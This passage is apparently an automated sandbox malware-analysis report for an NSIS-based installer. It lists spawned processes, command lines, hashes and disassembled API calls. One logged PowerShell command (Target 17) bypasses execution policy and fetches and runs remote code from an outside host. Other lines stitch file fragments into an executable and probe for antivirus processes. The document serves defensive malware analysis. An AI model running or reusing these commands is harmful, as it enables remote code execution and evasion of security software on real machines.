Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:47:00
Start date:	06/01/2025
Path:	C:\Windows\SysWOW64\extrac32.exe
Wow64 process (32bit):	true
Commandline:	extrac32 /Y /E Gilbert
Imagebase:	0x440000
File size:	29'184 bytes
MD5 hash:	9472AAB6390E4F1431BAA912FCFF9707
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:47:00
Start date:	06/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "uploaded" Smell
Imagebase:	0x1b0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:47:01
Start date:	06/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b 180180\Likewise.com + Moderators + Ship + Develops + Briefs + Cache + Web + Dependent + Crimes + Responsibility + Brandon + Separated 180180\Likewise.com
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:47:01
Start date:	06/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Senegal + ..\Contract + ..\Chrome + ..\Renewable + ..\Vancouver + ..\Saving + ..\Topless + ..\Coordinate d
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:47:01
Start date:	06/01/2025
Path:	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com
Wow64 process (32bit):	true
Commandline:	Likewise.com d
Imagebase:	0x7a0000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:47:02
Start date:	06/01/2025
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x820000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:47:41
Start date:	06/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;
Imagebase:	0xec0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:47:41
Start date:	06/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:47:48
Start date:	06/01/2025
Path:	C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe"
Imagebase:	0x9e0000
File size:	8'767'044 bytes
MD5 hash:	51F99EDDD33CC04FB0F55F873B76D907
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 78%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:47:49
Start date:	06/01/2025
Path:	C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp" /SL5="$4046A,7785838,845824,C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe"
Imagebase:	0x5e0000
File size:	3'367'424 bytes
MD5 hash:	F809F51E678B7F2E388F8C969EF902C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:47:50
Start date:	06/01/2025
Path:	C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe" /VERYSILENT
Imagebase:	0x9e0000
File size:	8'767'044 bytes
MD5 hash:	51F99EDDD33CC04FB0F55F873B76D907
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:47:51
Start date:	06/01/2025
Path:	C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp" /SL5="$5046A,7785838,845824,C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe" /VERYSILENT
Imagebase:	0x150000
File size:	3'367'424 bytes
MD5 hash:	F809F51E678B7F2E388F8C969EF902C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:48:18
Start date:	06/01/2025
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	"timeout" 9
Imagebase:	0x7ff71ef20000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	09:48:18
Start date:	06/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	09:48:28
Start date:	06/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Imagebase:	0x7ff7b39c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:48:28
Start date:	06/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	09:48:28
Start date:	06/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Imagebase:	0x7ff777750000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	09:48:28
Start date:	06/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "wrsa.exe"
Imagebase:	0x7ff7e3ab0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	09:48:28
Start date:	06/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Imagebase:	0x7ff7b39c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	09:48:28
Start date:	06/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	09:48:28
Start date:	06/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Imagebase:	0x7ff777750000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	09:48:28
Start date:	06/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "opssvc.exe"
Imagebase:	0x7ff7e3ab0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	09:48:28
Start date:	06/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Imagebase:	0x7ff7b39c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	09:48:28
Start date:	06/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	09:48:28
Start date:	06/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Imagebase:	0x7ff777750000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	09:48:28
Start date:	06/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avastui.exe"
Imagebase:	0x7ff7e3ab0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	09:48:29
Start date:	06/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Imagebase:	0x7ff7b39c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	09:48:29
Start date:	06/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	09:48:29
Start date:	06/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Imagebase:	0x7ff777750000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	09:48:29
Start date:	06/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avgui.exe"
Imagebase:	0x7ff7e3ab0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	09:48:29
Start date:	06/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Imagebase:	0x7ff7b39c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	09:48:29
Start date:	06/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	09:48:29
Start date:	06/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Imagebase:	0x7ff777750000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	09:48:29
Start date:	06/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "nswscsvc.exe"
Imagebase:	0x7ff7e3ab0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	09:48:29
Start date:	06/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Imagebase:	0x7ff7b39c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	09:48:29
Start date:	06/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	09:48:29
Start date:	06/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Imagebase:	0x7ff777750000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	09:48:29
Start date:	06/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "sophoshealth.exe"
Imagebase:	0x7ff7e3ab0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	09:48:33
Start date:	06/01/2025
Path:	C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
Imagebase:	0x400000
File size:	846'325'235 bytes
MD5 hash:	6A8860A8150021B2D5B9BB707DE4FA37
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	18.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.7%
Total number of Nodes:	1525
Total number of Limit Nodes:	33

Executed Functions

Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040512F
GetDlgItem.USER32(?,000003EE), ref: 0040513E
GetClientRect.USER32(?,?), ref: 00405196
GetSystemMetrics.USER32(00000015), ref: 0040519E
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
ShowWindow.USER32(?,00000008), ref: 0040523A
GetDlgItem.USER32(?,000003EC), ref: 0040525B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
GetDlgItem.USER32(?,000003F8), ref: 0040514D

Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

GetDlgItem.USER32(?,000003EC), ref: 004052AB
CreateThread.KERNELBASE(00000000,00000000,Function_00005047,00000000), ref: 004052B9
CloseHandle.KERNELBASE(00000000), ref: 004052C0
ShowWindow.USER32(00000000), ref: 004052E7
ShowWindow.USER32(?,00000008), ref: 004052EC
ShowWindow.USER32(00000008), ref: 00405333
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
CreatePopupMenu.USER32 ref: 00405376
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
GetWindowRect.USER32(?,?), ref: 0040539E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
OpenClipboard.USER32(00000000), ref: 0040540B
EmptyClipboard.USER32 ref: 00405411
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
GlobalLock.KERNEL32(00000000), ref: 00405427
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
GlobalUnlock.KERNEL32(00000000), ref: 0040545D
SetClipboardData.USER32(0000000D,00000000), ref: 00405468
CloseClipboard.USER32 ref: 0040546E

Strings

New install of "%s" to "%s", xrefs: 00405182
{, xrefs: 00405352
@rD, xrefs: 004053D7

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: @rD$New install of "%s" to "%s"${
API String ID: 2110491804-2409696222
Opcode ID: 71b8ecf663d6f058a1c3ced55927feebbdcf1e8b0d86afd2c4b352cd48bee751
Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
Opcode Fuzzy Hash: 71b8ecf663d6f058a1c3ced55927feebbdcf1e8b0d86afd2c4b352cd48bee751
Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59

Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038A2
SetErrorMode.KERNELBASE(00008001), ref: 004038AD
OleInitialize.OLE32(00000000), ref: 004038B4

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
CoUninitialize.COMBASE(?), ref: 00403AD1
ExitProcess.KERNEL32 ref: 00403AF1
lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40

Strings

/D=, xrefs: 004039A6
NCRC, xrefs: 0040397C
SeShutdownPrivilege, xrefs: 00403C16
1C, xrefs: 00403B56
_?=, xrefs: 00403A64
\Temp, xrefs: 00403A1B
Error launching installer, xrefs: 00403A7D
NSIS Error, xrefs: 004038E2
~nsu.tmp, xrefs: 00403AF7

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
API String ID: 2435955865-239407132
Opcode ID: 5d9024d5f0e899f809313532158b428341dd342d07cfae74060de4bd372621f4
Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
Opcode Fuzzy Hash: 5d9024d5f0e899f809313532158b428341dd342d07cfae74060de4bd372621f4
Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E

Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47

Strings

@%F, xrefs: 0040682C
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069DF
@%F, xrefs: 00406A53
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406926

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
